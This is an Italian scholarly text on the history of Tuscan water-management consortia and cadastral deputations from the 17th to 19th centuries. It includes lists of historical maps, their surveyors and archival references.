In cambio della loro partecipazione finanziaria, i deputati, avvalendosi almeno tra Sette e Ottocento della perizia di ben noti ingegneri granducali (come Giuseppe Salvetti, Francesco Bombicci, Salvatore Piccioli, Agostino Fortini, Giuseppe Manetti, Neri Zocchi, ecc.), e successivamente di altri valenti periti locali (come Luigi Masani, Alessandro Fortini, ecc.), acquisivano il potere di programmare ed eseguire i lavori occorrenti. L’esperienza della Deputazione non parve però esaltante, se è vero che essa venne sciolta il 6 maggio 1783; il 4 febbraio 1786 fu però sostituita da altro ente di tipo consortile misto pubblico/privato, denominato sempre Deputazione (o Consorzio) del Padule di Fucecchio, che, col tempo, si sarebbe rivelata in grado di appianare l’annosa conflittualità esistente fra le varie comunità e i numerosi proprietari fondiari della valle.
Per garantire l’equa ripartizione dei contributi consortili in base alla superficie dei terreni e alla destinazione d’uso (e quindi alla relativa stima del valore) del suolo, il ben noto ingegnere dell’Ufficio Fiumi e Fossi di Pisa, Francesco Bombicci, riuscì nel 1788 ad ultimare lo specifico catasto del Consorzio – detto Cartone –, peraltro già iniziato dal capo ingegnere granducale Giuseppe Salvetti; ma le decise opposizioni dei proprietari ai valori di stima dei terreni (ritenuti troppo elevati) valsero a bloccarne a lungo l’attivazione, precisamente fino all’approvazione da parte del vicario di Pescia fattane il 9 maggio 1792.
Sotto il Regno d’Etruria retto dai Borbone, istituito nel 1801, con legge del 13 ottobre (pubblicata il 7 novembre) 1803, si pose fine al decentramento gestionale, ponendo il Consorzio alle dirette dipendenze dello Stato. Tale assetto rimase invariato sul piano gestionale anche negli anni della dominazione napoleonica (1808-14), e persino con la Restaurazione lorenese; nel 1825, con la istituzione della Direzione Generale di Acque e Strade, l’amministrazione del Consorzio di Bonifica fu concessa al Direttore di tale nuovo ufficio centralizzato.
Con l’unificazione nazionale, una volta soppressi con decreto del 9 novembre 1862 il Corpo degli Ingegneri di Acque e Strade e la rispettiva Direzione Generale, le attribuzioni di poteri di quest’ultima sul Consorzio furono trasferite alla Prefettura di Firenze con altro decreto del 3 aprile 1864.
Da allora, occorre attendere ancora un ventennio perché il Consorzio – col nome di Consorzio degli emissari del Padule di Fucecchio ancora oggi operante – venisse liberamente “ricostituito in forma moderna in base al nuovo statuto organico approvato con Decreto Reale del 9 gennaio 1887”.
E’ interessante sottolineare che la Deputazione fu allora stabilmente dotata della figura dell’Ingegnere che doveva far la visita annuale nel mese di giugno ai canali (Romby e Rombai, a cura di, 2004).

Valdarno di Sopra (1697-1769). Nell’ambito della sfera amministrativa della magistratura dei Capitani di Parte Guelfa, nel 1697 vennero costituite le Congregazioni del Valdarno di Sopra e del Valdarno di Sotto (inizialmente unico organismo).
La “Congregazione del Valdarno” era un organismo fondato dai deputati dei principali possidenti laici ed ecclesiastici del Valdarno di Sopra, con il compito di sorveglianza e gestione dei corsi d’acqua. Tale organismo operava “in delega” per conto dei Capitani di Parte e, in particolare, del Magistrato dei Fiumi. Al vertice della Congregazione era un Soprintendente, figura ricoperta dal cavalier Anton Vincenzo Bartolini dal 1735 al 1764 (anno della sua morte). Dal 1761 collaborò, in qualità di vicario, il senatore Antonio Serristori, uno dei maggiori possidenti della valle.
Dei sette rappresentanti laici che ne facevano parte, quattro appartenevano alle famiglie fra le più prestigiose e facoltose della nobiltà locale e fiorentina che possedevano vasti beni in Valdarno: i Medici, i Serristori, i Salviati e i Rinuccini. Tale fatto veniva annotato dal granduca Pietro Leopoldo nelle sue celebri Relazioni, denunciando quella commistione tra interesse pubblico e privato che era venuta a crearsi in seno alla deputazione e sottolineando che le grandi famiglie avevano trovato “il segreto di essere deputati perpetui e arbitri ed in conseguenza padroni non solo di tutto l’affare e dell’amministrazione del medesimo, ma anche della direzione ed esecuzione sul posto di quei lavori che facevano eseguire dai loro fattori, aggiunto quest’affare sotto la protezione del governo al magistrato della Parte come tutte le altre imposizioni” (1970, II, p. 152).
L’operazione principale che vide impegnata la Congregazione per un lunghissimo periodo, fin dal 1703, fu quella dell’incanalamento del fiume Arno, al fine di liberare definitivamente la vallata dai ristagni, dalle esondazioni e dalle tortuosità del corso d’acqua e renderlo quindi navigabile anche nel tratto a monte di Firenze; inoltre sarebbero stati messi a coltura terreni di indubbio valore produttivo.
Per tale lungo e complesso lavoro venne incaricato l’ingegnere Felice Innocenzio Ramponi che, l’11 aprile 1703, fu nominato “Perito Custode de’ fiumi del Valdarno di Sopra”, con provvisione di scudi 20 al mese, carica che manterrà fino alla sua morte avvenuta nel 1755. In quella data subentrò nell’incarico un altro celebre tecnico granducale, Antonio Falleri, che già lavorava come aiuto dal 1747.
Come primo atto la Congregazione ottenne il rinnovo di un concordato (fra la Diocesi di Fiesole, lo Scrittoio delle Possessioni e i possidenti laici locali) che impegnava tutti i possidenti del fondovalle nella ripartizione delle spese che il progetto di canalizzazione dell’Arno avrebbe comportato.
Per la prima visita generale, finalizzata ad eseguire le misurazioni e a definire la confinazione delle aree interessate, compiuta dal 6 all’8 novembre 1703, il Ramponi fu coadiuvato da Giovannozzo Giovannozzi, in qualità di perito facente parte dei Capitani di Parte; all’operazione erano presenti anche diversi membri della Congregazione. Nella relazione scaturita dalla visita si sottolineava l’importanza dell’operazione e si prevedeva la costruzione di un canale ove imbrigliare il fiume, grosso modo dal Ponte a Buriano fino all’Incisa, articolato per un tratto in diversi tronconi, che doveva restringersi ad imbuto gradatamente verso valle; la spesa prevista era dai ventimila ai trentamila scudi.
Il progetto fu realizzato nelle sue linee essenziali, ma comportò grossi problemi e numerose varianti rispetto al disegno originale e una spesa assai più ingente di quella preventivata (agli inizi degli anni ’30 il debito ammontava a ben 300.000 scudi!). L’operazione fu caratterizzata anche da una generale disorganicità che generò forti avversioni da parte dei piccoli proprietari locali e degli abitanti della zona, che denunciarono a più riprese l’evidente parzialità con cui si procedeva nei lavori, salvaguardando soprattutto gli interessi delle maggiori famiglie.
E’ sempre il granduca Pietro Leopoldo a denunciare, diversi anni dopo, che: “infiniti furono gli abusi e le prepotenze fatte da questa Congregazione, la quale consigliava sempre i più duri compensi per vessare i poveri e rendersi padroni dei loro terreni, ed i maneggiati delle dette quattro casate quali con i lavori fatti in Arno, le alluvioni, accrebbero moltissimo i loro fondi, con acquistare parecchi poderi e mulini, per i quali non hanno mai niente pagato in sgravio dell’imposizione”. Le critiche non risparmiarono poi il principale artefice di tutta la faccenda, il Ramponi, che aveva dominato per oltre 50 anni la scena in prima persona: egli (insieme al Soprintendente Bartolini) venne infatti accusato più volte di strapotere e di disonestà e di essersi oltremodo arricchito – come riporta senza mezzi termini lo stesso Granduca – con “le mangerie fatte nell’esecuzione dei lavori” (Ibidem).
Durante lo svolgimento dell’operazione furono eseguite numerose relazioni e perizie ed anche alcune mappe, soprattutto in occasione delle varianti (oggi conservate in ASF, Piante dei Capitani di Parte). Altri collaboratori del Ramponi furono Michele Gori (nel 1705, in qualità di aiuto ingegnere, anche lui facente parte della Magistratura dei Capitani di Parte); Sansone Pieri, che nel 1714 eseguì una pianta per dirimere una vertenza tra proprietari; Antonio Falleri (già citato) che redasse numerose relazioni e perizie corredate anche di disegni.
Periodicamente, venivano inviati sul posto tecnici dei Capitani di Parte, in qualità di supervisori del progetto: tra questi, ricordiamo le numerose visite di Raffaello Nardi, sottoprovveditore della Parte.
Intorno alla metà del Settecento intervennero nell’annosa questione dell’incanalamento dell’Arno due illustri personaggi, Giovanni Targioni Tozzetti e Ferdinando Morozzi: il primo con una memoria nella quale si sottolineavano i difetti dell’operazione, che sarà di fondamentale importanza per la relazione, corredata di disegni, presentata dal Morozzi allo Scrittoio delle Possessioni nel 1762 (pubblicata poi nel 1766 col titolo Dello stato antico e moderno del Fiume Arno), in cui si riformulava in maniera esplicita l’attacco alla canalizzazione eseguita e si proponevano nuovi rimedi.
Nel 1766, per risolvere la disastrosa situazione economico-amministrativa della Congregazione, venne radicalmente riorganizzato l’ente con l’obiettivo principale di impedire gli abusi e risanare i bilanci; le funzioni svolte dal Soprintendente (ruolo vacante dal 1764 dopo la morte del Bartolini) furono concentrate nella figura del Sottoprovveditore dei Capitani di Parte, nella persona del conte Orlando Del Benino, che all’inizio del 1767 ricevette l’incarico “pro interim” di Soprintendere alla Congregazione. Parallelamente, il nuovo sovrano Pietro Leopoldo istituì una Deputazione incaricata della revisione totale dell’Ufficio della Parte (composta da quattro auditori), che ebbe anche il compito di supervisionare “l’affare del Valdarno”.
Il primo passo fu una attenta visita generale condotta, nel marzo 1767, dall’ingegnere Giuseppe Salvetti, dal perito custode Falleri e da altri; allo stesso tempo furono controllati e inventariati tutti i documenti prodotti dalla Congregazione, nell’ottica di una vera e propria “inchiesta”, di fronte alla quale si scatenò la forte opposizione dei proprietari. Fu nominato come perito dell’indagine il Soprassindaco dell’Ufficio dei Nove, il cavaliere Giovan Battista Nelli, coadiuvato dagli ingegneri Francesco Bombicci e Giovanni Franceschi. Nel 1768 fu eseguita una Relazione corredata da una pianta generale e da una Descrizione dei terreni sottoposti all’Imposizione: tali materiali, costruiti sulla revisione dell’antico “cartone” e della documentazione precedente, costituivano ora la nuova base per le imposizioni del Valdarno di Sopra. Dall’inchiesta emerse a pieno la disastrosa e disonesta gestione della Congregazione.
Con l’editto del 22 giugno 1769, insieme alla plurisecolare Magistratura dei Capitani di Parte e ad altre istituzioni, fu soppressa anche la Congregazione del Valdarno di Sopra e fu istituita la Camera delle Comunità, luoghi pii, strade e fiumi.
La storia dell’Imposizione del Valdarno di Sopra si chiuse però definitivamente soltanto nel 1781, allorché il granduca, con un atto di grande clemenza, concesse una sorta di sanatoria ai proprietari che, a causa del forte debito contratto, rischiavano di perdere tutti i loro beni (Tartaro, 1989, pp. 6-60).

Produzione cartografica

Numerose sono le cartografie manoscritte prodotte fin dall’inizio del XVIII secolo, al fine di individuare i circondari di imposizione e i proprietari frontisti e contigui con i relativi oneri. Se ne elencano le principali

Consorzio del Padule di Fucecchio. Per il Consorzio del Padule di Fucecchio (che tuttora le conserva in parte nella sede di Ponte Buggianese e in parte nel Museo della Città e del Territorio di Monsummano Terme), le prime mappe parziali – alcune andate poi perdute – furono rilevate, tra il 1786 e il 1788, dal noto ingegnere granducale Francesco Bombicci, alla scala di 1:3000. Nel 1796, poi, lo stesso Bombicci provvide completare i rilevamenti, oltre che ad unire le diverse mappe parziali in più estese carte comprensoriali e anche in un’unica figura d’insieme (a scala più ridotta) dell’intero comprensorio palustre: queste rappresentazioni si qualificano come prodotti geometrici compiuti, e si limitano, invece, a prestare attenzione – nei comprensori sottoposti all’azione del Consorzio medesimo – alla rete delle infrastrutture viarie e idrauliche e al frazionamento particellare di cui si indicano accuratamente le superfici (nell’unità di misura del tempo, il quadrato, equivalente a 3406 metri quadri) e i proprietari, al fine di offrire all’ente i dati indispensabili per l’applicazione delle imposte.
Dagli anni Venti del XIX secolo, le vecchie figure manoscritte furono affiancate da altre mappe derivate per lucidatura dalle planimetrie del catasto particellare ferdinandeo leopoldino del 1817-32. Di certo, tale catasto granducale venne utilizzato a più riprese anche nella seconda metà di quello stesso secolo e persino all’inizio del Novecento, per costruire alcune raccolte di mappe d’imposizione (rilegate o meno in atlanti), previo aggiornamento dei contenuti topografici di maggiore rilievo come le nuove vie di comunicazione stradali e ferroviarie e i nuovi insediamenti realizzati dopo l’attivazione del 1832.
Pianta del Padule di Fucecchio e sue adiacenza, Francesco Bombicci ingegnere, 1796;
Mappa topografica della pianura aggiacente al Padule di Fucecchio nella Comunità di Montecatini, Francesco Bombicci ingegnere, 1786-88;
Mappa topografica della pianura prossima al Padule di Fucecchio sotto la via della Traversagna nella Comunità di Massa, Francesco Bombicci ingegnere, 1786-88;
Mappa topografica del Fiume Pescia di Pescia tronco superiore dalla Calla di Centoni al Villaggio di Ponte Buggianese, Francesco Bombicci ingegnere, 1786-88;
Mappa topografica della pianura aggiacente al Padule di Fucecchio nella Comunità delle Due Terre cioè di Monsummano e Monte Vetturini, di Francesco Bombicci ingegnere, 1786-88;
Mappa topografica della pianura aggiacente il Padule di Fucecchio nelle Comunità di Uzzano e Buggiano, di Francesco Bombicci ingegnere, 1786-88;
Mappa topografica del Padule di Fucecchio dal Fosso Traverso che è tra i due Canali Maestri dell’istesso Padule fino alle Calle e de’ terreni aggiacenti al medesimo parte dei quali resta nella Cmunità di Fucecchio e parte nella Comunità’ di Cerreto Guidi, Francesco Bombicci ingegnere, 1796;
Plantario dei beni sottoposti all’Imposizione del Fiume Pescia di Pescia a sinistra della corrente nelle Comunità di Pescia, Uzzano e Borgo a Buggiano, atlante di otto mappe alla scala di 1:2500, Giovanni Brunetti geometra, 20 giugno 1827.

Empolese. Le relazioni e le mappe redatte nella seconda metà del secolo XVIII e più ancora nel secolo successivo da tecnici al servizio delle varie imposizioni idrauliche dell’Empolese sono tuttora conservate ad Empoli presso il Comune, nell’Ufficio Consorzi Idraulici e Stradali di Empoli (UCIS).
Pianta del fiume Orme dalla via di Gricciano allo sbocco in Arno, Giovanni Filippo Ciocchi e Sansone Pieri, 28 maggio 1733 (copia dello stesso Ciocchi del 23 dicembre 1739);
Pianta dell’imposizione dell’Orme in spalla destra, Angelo Maria Mascagni, 25 febbraio 1752 (copia fatta da Francesco Bombicci nel 1764);
Cartone per l’imposizione destra dell’Orme posto nell’Empolese, Francesco Magnelli, metà del sec. XVIII;
Pianta del perimetro della imposizione dell’Orme spalla sinistra, metà del sec. XIX, scala 1:2500;
Pianta delle due imposizioni a sinistra del Fiume Arno inferiormente a Empoli dette Sotto il Mulino del Sale e di Riottoli, 1795;
Cartone per l’imposizione dell’Arno alla Moretta, Luigi Martini ing., 20 aprile 1818;
Cartone per l’imposizione dell’Elsa sotto il Rio delle Volpi, Luigi Martini ing., 20 aprile 1818;
Cartone per l’imposizione dell’Elsa in Carraja e Moretta riunite, Luigi Martini ing., 20 aprile 1818;
Cartone dell’imposizione dell’Elsa alle porte del mulino Orlandini, Prospero Badalassi e Luigi Martini ingegneri, 1 settembre 1820;
Pianta geometrica dimostrativa le … Beni in Comunità di Empoli soggetti all’Imposizione del Fiume Elsa sotto il Rio delle Volpi espropriati per la costruzione delle nuove vie provinciali che dalla R. Pisana conducono al nuovo ponte sull’Arno della Motta, Pasquale Martini ing., 31 maggio 1848;
Cartone dell’imposizione d’Arno Vecchio, Graziano Capaccioli, 16 marzo 1824;
Imposizione dei rii Romito e Mosca, inizio del sec. XIX;
Pianta dei terreni compresi nelle imposizioni riunite dei fossi di Vitiana e Pagnana, Marco Moretti ing., 1804;
Pianta del circondario del torrente Piovola, 1810;
Consorzio del torrente Piovola, metà del sec. XIX, scala 1:5000;
Atlante “dei terreni sommersi”, 1844 circa (terreni sommersi dall’Arno durante la piena del 3 novembre 1844), scala 1:20.000;
Pianta geometrica dimostrativa le volture dei beni in Comunità di Empoli soggetti all’Imposizione del Rio del Saettino e Rio di Mezzo espropriati ai qui appresso notati possidenti per la costruzione delle nuove vie provinciali che dalla strada regia Pisana conducono al nuovo ponte sull’Arno detto al passo della Motta, Pasquale Martini ing., 18 maggio 1848;
Cartone dell’imposizione del Rio dei Cappuccini, Pietro Rossini e Domenico Tofanari ingegneri, 1831, 1:2500;
Mappa topografica del perimetro della imposizione dell’Orme spalla destra, 1840-50, scala 1:2500;
Atlante della imposizione straordinaria dell’Arno a Riottoli e Pagnana, Pietro Maestrelli ing., 18 marzo 1879, 1:5000;
Mappa catastale del consorzio dal Rio di S. Maria a Cerbaiola, Paolo Del Vivo ing., 30 settembre 1878;
Pianta dell’imposizione dell’Elsa alla Girandola, seconda metà del sec. XIX, scala 1:2500;
Due lucidi relativi al consorzio del Rio di S. Anna e del Terrafino, seconda metà del sec. XIX, scala 1:2500;
Atlante delle Imposizioni Idrauliche dei Comuni di Montelupo ed Empoli. Consorzio delle Pratelle di Sopra e di Sotto, seconda metà del sec. XIX, scala 1.2500.

Ombrone Pistoiese. Mappa manoscritta della pianura pistoiese con l’Ombrone da canalizzare, 1714 (Biblioteca Forteguerriana di Pistoia, Ms. E.401.8).

Operatori

Pietro Pietrini professore idraulico pistoiese (1821); Marco Gamberai ingegnere pistoiese (1822); Giovanni Brunetti (1827); Francesco Bombicci (1764-96); Giovanni Filippo Ciocchi (1733-1739), Sansone Pieri (1715-33), Angelo Maria Mascagni (1752), Francesco Magnelli (metà XVIII sec.), Vincenzo Campani (1801), Marco Moretti (1804), Prospero Badalassi (1820), Luigi Martini (1818-1820), Graziano Capaccioli (1824), Pietro Rossini (1831), Domenico Tofanari (1831), Pasquale Martini (1848), Giulio Marzocchi (anni ’50-’60 del XIX sec.), Paolo Del Vivo (1878), Pietro Maestrelli (1879); Felice Innocenzio Ramponi (“Perito custode” 1703-1755); Giovannozzo Giovannozzi (1703); Michele Gori (1705); Raffaello Nardi (1705 ca., sottoprovveditore della parte); Antonio Falleri (aiuto dal 1747 al 1755 e “Perito custode” dal 1755); Giuseppe Salvetti (1767); ingegneri Francesco Bombicci e Giovanni Franceschi (periti esterni, 1767).

Riferimenti bibliografici e archivistici

Benigni e de Grammatica, 1998; Bigazzi, Grazi e Giulianelli, 1985; Pietro Leopoldo d’Asburgo Lorena, 1970, II; Romby, 1984, 1988, 1999; Guarducci e Rombai, 1998; Rombai, 1989, p. 170; Tartaro, 1989; Romby e Rombai, a cura di, 2004. BFP, Ms. E.401.8, Corso dell’Ombrone, 1714; ASF, Pratica Segreta di Pistoia, 793, Allargamento d’Ombrone, 8 giugno 1763; ASF, Capitani di Parte Guelfa, filze varie; ACIO, specialmente buste Ombrone 51-52, con documenti anni 1777-1797; busta Ombrone 60, con la memoria di Pietro Pietrini, Relazione per i lavori delle serre o chiuse al torrente Ombrone e ai suoi maggiori affluenti, 1821, e la memoria di Alessandro Manetti Relazione sopra un sistema di serre da stabilirsi nel territorio pistoiese attraverso all’Ombrone e principali suoi influenti, 1 agosto 1822. Più in generale cfr. UCIS e ACBPF.

Anna Guarducci (Siena)

Deputazioni per il Catasto (Granducato di Toscana e Toscana napoleonica)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Deputazioni sull’estimo di Firenze e Siena (1778-1785)

Catasto napoleonico (1807-1814)

Deputazione sopra il Catasto (1817-1825)

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834)

Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849)

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862)

Cancellerie comunitative, Agenzie delle Imposte, Uffici Distrettuali delle Imposte Dirette poi Uffici Tecnici Erariali (1862-oggi)

I vari uffici creati dai diversi governi (granducale, borbonico, napoleonico e poi nuovamente granducale) che tra il 1778 e il 1817 ressero la Toscana dovevano realizzare il catasto geometrico particellare secondo i modelli sabaudo-teresiano affermatisi intorno alla metà del XVIII secolo.
In effetti, il catasto geometrico si stava imponendo all’attenzione di molti riformatori illuminati non solo come strumento di perequazione fiscale, atto ad eliminare le grandi differenze prodotte nel tempo sul piano sociale (a tutto vantaggio dei ceti della grande proprietà aristocratica ed ecclesiastica), ma anche come un mezzo per dotare le comunità locali delle entrate indispensabili per la loro gestione e per incentivare gli investimenti agrari: in altri termini, il catasto geometrico venne inteso dai riformatori come strumento di innovazione insieme sociale ed economica, e questo fatto spiega – al di là delle rilevanti difficoltà tecniche – l’opposizione manifestata dai ceti privilegiati che per molti anni (fino alla dominazione napoleonica e alla Restaurazione) impedì la concreta realizzazione dell’operazione.
Il catasto ferdinandeo-leopoldino fu realizzato infatti tra il 1817 e il 1832 (come prosecuzione delle operazioni avviate da Napoleone nel 1807-08), e deve essere considerato il primo dei catasti moderni, del tutto appoggiato com’era ad una triangolazione primaria generale – incardinata su 767 stazioni angolari (dalle quali si dominavano 7515 visuali) e su 2505 triangoli di cui 157 conchiusi – iniziata fin dal 1816 ed eseguita in circa un decennio.

Deputazioni sull’estimo (Firenze e Siena). In collegamento con la radicale riforma delle comunità avviata nel 1772-73 e conclusa nel 1783-84, con Motuproprio granducale del 5 Gennaio 1778 venne costituita la Deputazione sull’estimo del distretto fiorentino composta dal Soprassindaco Senatore Cavaliere Giovan Battista Nelli, dal Commissario degli Innocenti Giovanni Neri, dal Provveditore del Monte di Pietà Conte Federigo Barbolani da Montauto, dal Sottoprovveditore alla Camera delle Comunità Carlo Ippoliti e dal segretario Pagnini. La Deputazione nacque con il compito di esaminare – come si legge nel Motuproprio – “se convenga per il bene dello Stato il fare nuovi Estimi per tutte le Comunità […], quale sarebbe il metodo il più sicuro da tenersi, per conoscere il vero valore dei terreni, e repartire con giustezza le pubbliche gravezze, e propongano le regole, e Istruzioni da osservarsi per la più retta esecuzione” (ASF, Segreteria di Finanze. Affari prima del 1788, 896, Inserto “1778”, c. 1).
Nel marzo 1778, su ordine di S.A.R., fu istituita pure una Deputazione sull’Estimo della Provincia Senese formata dalla Balìa di Siena e composta da 4 o 5 soggetti, tra i quali Pandolfo Spannocchi e il Cancelliere Marc’Antonio Sciarelli. Questa Deputazione aveva il compito di esaminare e proporre il modo di formare gli estimi per le Comunità della Provincia Superiore di Siena, collaborando al progetto con la Deputazione fiorentina (ASF, Segreteria di Finanze. Affari prima del 1788, 984: “Compartimento delle Comunità della Provincia Superiore di Siena”, ins. 1778), o “in altra Comunità che abbia chiesto la confezione di un nuovo Estimo, e che abbia dei terreni parte in piano, e parte in poggio, o costa”. Il sovrano disponeva, inoltre, che per questa prima prova, che era interamente a spese del governo, non venisse pubblicato un editto statale ma si facesse una notificazione sottoscritta dal cancelliere comunitativo, contenente tutte le informazioni che si riteneva opportuno rendere pubbliche. Si lasciava pertanto facoltà alla Deputazione di scegliere la comunità da cui iniziare l’operazione e di redigere la dovuta notificazione.
Nell’ottobre 1778, la Deputazione fiorentina ordinò un primo rilevamento catastale (corredato di mappe dei beni e di stime) in alcune comunità campione che potesse servire da prova per un catasto generale: furono scelte le Comunità di Montecatini, Montevetturini e Monsummano che facevano parte di un’unica cancelleria (ASF, Segreteria di Finanze. Affari prima del 1788, 896, Inserto “1778”, cc. 805-807). Questa operazione in Valdinievole fu condotta (tra la primavera del 1779 e quella del 1780) dall’ingegnere Francesco Bombicci e come stimatori furono incaricati Paolo Piccardi e Luca Antonio Billi coadiuvati da Francesco Betti, pubblico agrimensore, e Mattia Caparrini, fattore dell’azienda granducale di Poggio Imperiale.
Nell’estate del 1780 presero il via le operazioni catastali anche in alcune comunità della Montagna Pistoiese, sempre condotte da Francesco Bombicci, questa volta con l’aiuto dell’ingegnere Gio. Niccola Mazzoni di Pietrasanta; l’operazione venne portata a compimento nel 1784-85.
Con Motuproprio del 18 luglio 1782 venne eletta una seconda deputazione con il compito di prendere in esame i materiali sulle operazioni catastali fino ad allora eseguite nelle comunità campione al fine di esprimere un parere definitivo. Ne fecero parte i vecchi membri Neri e Pagnini a cui vennero affiancati Serristori, Mormorai e Gianni.
Nel 1782 si attivarono le operazioni catastali nelle comunità di Massa e Cozzile, Buggiano, Uzzano e Pescia sempre in Valdinievole, ma questa operazione, eseguita ancora dal Bombicci, non giunse a compimento.
Tra il 1780 e il 1785 vennero realizzati gli estimi delle comunità senesi di S. Quirico d’Orcia e Chiusi condotti dall’ingegnere Bernardino Tozzetti, coadiuvato dall’agrimensore Antonio Faleri, e come stimatori dagli altri agrimensori senesi Francesco Mannucci e Francesco Rigacci.
Per la forte opposizione della grande proprietà terriera che trovò ascolto anche all’interno della deputazione, il granduca nel 1785 decise di interrompere tutte le operazioni catastali e di lasciare le comunità libere di adeguare i propri catasti con procedure geometriche oppure soltanto descrittive: procedure, queste ultime, prescelte pressoché da tutte le comunità granducali (Biagioli, 1975, pp. 7-13).

Catasto napoleonico. Già il nuovo sovrano del Regno d’Etruria, Ludovico di Borbone, con legge dell’11 agosto 1802, prefigurò la “compilazione di un nuovo generale Estimario” che tuttavia non ebbe seguito “per timore da parte del governo delle spese che tale operazione avrebbe comportato”.
Occorre attendere la fine del 1807 e l’annessione all’Impero Francese del Regno d’Etruria perché anche in Toscana venisse nuovamente posto su basi attuative il problema del catasto geometrico che in Francia era stato avviato a titolo sperimentale, in alcune comunità, con il decreto del 3 novembre 1802.
Due istruzioni del 1° dicembre 1807 e del 20 aprile 1808 ordinarono la catastazione in tutti i dipartimenti dell’Impero, mentre altre due leggi del 29 ottobre e 5 novembre 1808 indicavano i metodi di stima.
Per quanto riguarda la Toscana, durante quello stesso anno 1808 venne decisa la messa a disposizione di tre ingegneri verificatori e di un numero imprecisato di geometri-misuratori e di periti di stima affinché le operazioni potessero concludersi nell’arco di un quadriennio.
Ma l’inizio dei lavori fu a lungo bloccato dal problema delle troppo estese comunità dell’ex Granducato, fatto che rendeva impossibile l’applicazione del sistema di triangolazione e mappatura già in uso oltralpe, ove la maglia comunitativa era molto più fitta. Così, tra la fine del 1808 e l’estate del 1810 si tentò di risolvere questo problema di fondo (con la lucida opposizione del geografo imperiale Giovanni De Baillou, specificamente incaricato di progettare la drastica semplificazione del reticolo amministrativo), finché il governo francese dovette convincersi dell’impossibilità e dell’inopportunità di attuare una sorta di controriforma amministrativa.
Venne allora scelto un sistema diverso, col fare la triangolazione in ciascun comune “comme on fait en France celle de tout un canton”, e poi col dividere ogni comune in 4 o 5 parti o sezioni designate col nome del principale comunello o popolo, per fare una mappa in scala 1:2500 o 1:5000 per ciascuna sezione, e poi una sola rappresentazione per l’intera comunità (i quadri d’unione) in scala 1:10.000 o 1:20.000.
Dopo che il geodeta francese Puissant ebbe collegato la triangolazione della Corsica (già realizzata dal Tranchot) con le isole e con vari punti della costa della Toscana, nell’agosto 1810 le operazioni poterono finalmente cominciare in alcuni comuni del Dipartimento del Mediterraneo (Fauglia e Collesalvetti), per estendersi un po’ a tutta la regione nel corso del 1811. I lavori andarono comunque a rilento per difficoltà di ordine politico, finanziario e tecnico, tanto che al momento della caduta dell’Impero le operazioni erano state concluse o condotte a buon punto solo in una quarantina di comunità su 245, con molte mappe che – dopo essere state acquisite dal restaurato governo lorenese con la ripresa dei lavori nel 1817 (oggi sono conservate insieme alle mappe del catasto ferdinandeo-leopoldino nel vari archivi di stato della Toscana) – assai più dei registri descrittivi e delle stime furono considerate imprecise, talora anche in modo intollerabile, soprattutto perché i lavori di triangolazione locale non avevano potuto essere incardinati in una triangolazione generale della Toscana e dell’Italia centro-settentrionale.
Riguardo al personale impiegato, le poche notizie disponibili confermano che questo fu in grandissima parte francese: dei tre ingegneri verificatori solo Luigi Campani era toscano. Alle loro dipendenze lavorarono decine di geometri di prima e seconda classe e stimatori, alcuni toscani (come Prospero Badalassi, Graziano Capaccioli e il Braccesi nel Dipartimento del Mediterraneo sotto la direzione del Campani, e come il Franceschi a Sesto Fiorentino), appositamente formati dal personale francese, che avrebbero poi messo la loro qualificazione professionale al servizio del catasto lorenese del 1817-34 (Biagioli, 1975, pp. 14-35).
Come già detto, Luigi Campani fu l’unico ingegnere verificatore toscano impiegato nei lavori catastali. Giovanni Inghirami ne fece le lodi già nel 1818, cioè a catasto ferdinandeo appena avviato, non solo per la riconosciuta abilità professionale, ma anche per la strumentazione davvero innovativa: già nel 1810, per eseguire le operazioni della triangolazione primaria, Campani si era infatti privatamente dotato “di un circolo moltiplicatore del celebre costruttore parigino Etienne Lenoir” – anche i suoi subordinati erano stati dal medesimo obbligati ad usare “teodoliti pregevoli” (Biagioli, 1975, pp. 23-24 e 51) – e non mancava di chiedere l’aiuto attivo del concittadino scienziato Inghirami non solo per le misurazioni (aiuto che infatti ottenne), ma anche poter convincere il governo a costruire un solido inquadramento geodetico nel territorio pisano-livornese, vale a dire il Dipartimento del Mediterraneo, dove stava operando.
Il 16 gennaio 1812 Campani rivela ad Inghirami il suo convincimento, in contrasto con gli indirizzi governativi che non ne tennero conto, e cioè “che è indispensabile prima una generale triangolazione a uso Cassini in tutto il Dipartimento per avere nella vera posizione ciaschedun Paese e formare così un Canevas trigonometrico bellissimo, facendo i triangoli di primo, secondo e terzo ordine […]. Io farei tutte le osservazioni, i suoi allievi i calcoli. Bisogna dunque fare un ragionato rapporto dimostrando fino all’evidenza: 1°, la necessità di questa operazione; 2°, che non cresce nulla di spesa allo Stato perché l’operazione che si fa separatamente per ciascheduna Comune venendo pagata ai rispettivi geometri si può pagare all’ingegnere geometra in capo che sarebbe incaricato di questa operazione, e che i geometri trovano fatta; 3°, che la triangolazione in generale riattacca meglio tutti i punti e l’insieme delle Comuni, mentre a farla separatamente non può venire così esatta; 4°, si ottiene una Carta Dipartimentale utilissima a tante operazioni dello Stato; 5°, si abbrevia nel suo totale l’operazione del Catasto”.

Deputazione sopra il Catasto. Dopo che lo Stato Pontificio ebbe ripreso i lavori avviati dai francesi e dopo che i principali ministri toscani (fra i quali Vittorio Fossombroni) si furono pronunciati a favore del catasto, il restaurato granduca Ferdinando III ordinò l’inizio delle operazioni con motuproprio 7 ottobre 1817: il 24 novembre dello stesso anno venne insediata la Deputazione sopra il Catasto formata da illustri studiosi come i matematici dello Studio Pisano Pietro Paoli, Pietro Ferroni e Leonardo Frullani, l’astronomo e geografo dell’Osservatorio Ximeniano Giovanni Inghirami, il celebre naturalista ed economista Giovanni Fabbroni, e i proprietari agronomi Emilio Pucci e Lapo de’ Ricci, evidentemente scelti con il compito di stabilire le modalità delle operazioni di rilevamento, delle descrizioni e stime dei beni (terreni e fabbricati non colonici), e in ultima analisi perché potessero garantire “un catasto accettabile senza grosse opposizioni” da parte dei ceti agrari (Biagioli, 1975, p. 41).
I lavori – facendo ricorso in via prioritaria ai tecnici che avevano avuto esperienza durante la catastazione napoleonica – poterono prendere il via nel 1819 grazie alla pubblicazione, con il contributo determinante del Ferroni, di un fascicolo di Istruzioni e Regolamenti (con aggiornamento definitivo nel 1821), con utilizzazione anche dei materiali lasciati dai francesi o fatti arrivare appositamente da Parigi.
